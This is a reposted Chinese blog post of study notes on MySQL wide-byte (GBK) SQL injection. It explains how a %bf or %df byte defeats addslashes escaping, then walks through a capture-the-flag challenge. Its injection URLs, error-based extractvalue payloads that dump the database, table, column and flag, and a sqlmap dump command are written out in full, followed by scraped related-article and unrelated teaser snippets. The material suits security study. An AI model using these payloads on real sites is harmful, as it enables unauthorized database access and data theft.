Mysql宽字节注入 ---学习笔记
转自:https://blog.csdn.net/niexinming/article/details/49109683
先补充一点背景:
大 家都知道PHP在开启magic_quotes_gpc或者使用addslashes、iconv等函数的时候,单引号(')会被转义成\'。比如字 符%bf在满足上述条件的情况下会变成%bf\'。其中反斜杠(\)的十六进制编码是%5C,单引号(')的十六进制编码是%27,那么就可以得出%bf \'=%bf%5c%27。如果程序的默认字符集是GBK等宽字节字符集,则MySQL会认为%bf%5c是一个宽字符,也就是“縗”。也就是说%bf \'=%bf%5c%27=縗'。
说 到这里好像还没有看出来到底有什么用。了解PHP+MySQL注入的朋友应该都明白,单引号在注入里绝对是个好东西。尤其是,很多程序员都过分依赖于 magic_quotes_gpc或者addslashes、iconv等函数的转义。理论上说,只要数据库连接代码设置了GBK编码,或者是默认编码就 是GBK,那现在的程序里到处都是注入漏洞
以上来源为:http://www.myhack58.com/Article/html/3/7/2012/33743.htm
讲的不错,我就复制黏贴了
例子:
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1
【1】首先我们先要测试一下经典的%df%27:
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%df%27 and 1=1 %23
结果页面显示:
Forbidden
看来是被过滤了
没关系,我们依然可以尝试这样注入:
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and 1=1%23
页面是:look me,look me,look me.
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and 1=2%23
页面为空
看来是注入成功了
类似成功的还有:
(1)http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%e5%27 and 1=2%23
(2)http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%c2%27 and 1=1%23
(3)http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and 1=1%23
【2】我发现这是一个报错注入,于是我们开始愉快的开启报错注入模式:
爆数据库:
sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and extractvalue(1, concat(0x5c,(select database()))) %23
页面显示:
XPATH syntax error: '\sql2'
【3】爆表
sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and extractvalue(1, concat(0x5c,(select table_name from information_schema.tables where table_schema=0x73716c32 limit 0,1))) %23
页面显示:
XPATH syntax error: '\[key_flag]'
【4】爆字段:
sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and extractvalue(1, concat(0x5c,(select COLUMN_NAME from Information_schema.columns where table_Name = 0x5b6b65795f666c61675d and TABLE_SCHEMA= 0x73716c32 limit 1,1))) %23
页面显示:
XPATH syntax error: '\key_flag'
【5】爆内容:
如果大家这样:
sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and extractvalue(1, concat(0x5c,(select key_flag from [key_flag]))) %23
注入爆内容的话就会出错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '[key_flag]))) #'' at line 1
这里有点小坑,就是在mysql做查询的时候表名不能带有中括号,否则就会报错,后来花了一个小时做实验谷歌查询得知,如果表里面必须有中括号的时候必须要用’,“,` 包起来,但是’和”会被php的magic_quotes_gpc的这个函数转义掉所以就要用`包起来,这个符号在键盘的Esc下面,url的编码为%60
至此我们这样爆就可以出内容了
sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/?uid=1%bf%27 and extractvalue(1, concat(0x5c,(select key_flag from `[key_flag]`))) %23
页面显示:
XPATH syntax error: '\SYC{L0ve_Sql_Inj3ct10n_akak}'
sqlmap的指令是:sqlmap -u "http://202.120.7.140:8888/try.php?fruit=1" --tamper unmagicquotes -D "store" -T "tell_me_who_u_are" --dump
---------------------
作者:niexinming
来源:CSDN
原文:https://blog.csdn.net/niexinming/article/details/49109683
版权声明:本文为博主原创文章,转载请附上博文链接!
Mysql宽字节注入 ---学习笔记的更多相关文章
- Mysql宽字节注入(转)
尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范.但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如g ...
- MYSQL注入天书之宽字节注入
Background-7 宽字节注入 Less-32,33,34,35,36,37六关全部是针对'和\的过滤,所以我们放在一起来进行讨论. 对宽字节注入的同学应该对这几关的bypass方式应该比较了解 ...
- SQL注入--宽字节注入
PHP测试代码: <?php // 面向对象写法 $id=addslashes($_GET[‘id’]); //获取id并转义预定义字符 // /$id=$_GET[‘id’]; $mysqli ...
- 【PHP代码审计】 那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入
0x01 背景 首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞.具体原 ...
- Sql 注入详解:宽字节注入+二次注入
sql注入漏洞 原理:由于开发者在编写操作数据库代码时,直接将外部可控参数拼接到sql 语句中,没有经过任何过滤就直接放入到数据库引擎中执行了. 攻击方式: (1) 权限较大时,直接写入webshel ...
- sqli-labs(十四)(宽字节注入)
数据库使用gbk编码的时候,会将两个字符合并成一个中文. 写在前面吧,对php的代码审计也会有帮助 直接使用 set character_set_client=gbk 或者是常见的mysql_quer ...
- 【sqli-labs】 对于less34 less36的宽字节注入的一点深入
1.AddSlashes() 首先来观察一下是如何通过构造吃掉转义字符的 先将less 34的网页编码换成gbk 加上一些输出 echo "Before addslashes(): &quo ...
- 【sqli-labs】 less32 GET- Bypass custom filter adding slashes to dangrous chars (GET型转义了'/"字符的宽字节注入)
转义函数,针对以下字符,这样就无法闭合引号,导致无法注入 ' --> \' " --> \" \ --> \\ 但是,当MySQL的客户端字符集为gbk时,就可能 ...
- SQL注入:宽字节注入
了解GBK编码 尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范.但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的 ...
随机推荐
- win10下visual studio code安装及mingw C/C++编译器配置,launch.json和task.json文件的配置
快一年了,我竟然还有脸回来..... 过去一年,由于毕设.找工作的原因,发生太多变故,所以一直没更(最主要的原因还是毅力不够...),至于发生了什么事,以后想说的时候再更吧..依然是小白,下面说正事. ...
- heap相关算法的简单实现
// 12:06 PM/09/28/2017 #pragma once //向下调整算法 主要用来make_heap 以及pop_heap inline void adjustDown(int* he ...
- tracebace用法
介绍一下traceback 平时看到的程序的错误信息也就是traceback信息 举个简单例子: import traceback try: s = [1, 2, 3] print s[5] exce ...
- 基于DispatchProxy打造自定义AOP组件
DispatchProxy是微软爸爸编写的一个代理类,基于这个,我扩展了一个AOP组件 暂时不支持依赖注入构造方法,感觉属性注入略显麻烦,暂时没打算支持 基于特性的注入流程 [AttributeUsa ...
- Cesium加载倾斜摄影数据
(1)倾斜摄影数据仅支持 smart3d 格式的 osgb 组织方式, 数据目录必须有一个 “Data” 目录的总入口, “Data” 目录同级放置一个 metadata.xml 文件用来记录模型的位 ...
- 使用git将本地仓库上传到远程仓库(转)
第一步:创建一个工程目录 执行: git init 第二步:把文件添加到版本库中,使用命令 git add .添加到暂存区里面去,不要忘记后面的小数点".",意为添加文件夹下的所有 ...
- 16、Java中级进阶 面向对象 封装
1.封装概述 封装可以被认为是一个保护屏障,将类的某些信息隐藏在类内部,不允许外部程序直接访问,而是通过类提供的方法来实现对隐藏信息的操作访问,可以有效的防止该类的代码和数据被其他类随意访问. 要访问 ...
- python设计模式之适配器模式
python设计模式之适配器模式 结构型设计模式一个系统中不同实体(比如,类和对象)之间的关系,关注的是提供一种简单的对象组合方式来创造功能. 适配器模式( Adapter pattern)是一种结构 ...
- MySQL服务操作
启动: systemctl start mysqld.service; 状态: systemctl status mysqld.service; 重启: systemctl restart mysql ...
- Maven工程 install和run包配置
1.New一个Environment变量: Name:global.config.path Value:D:\490993\config;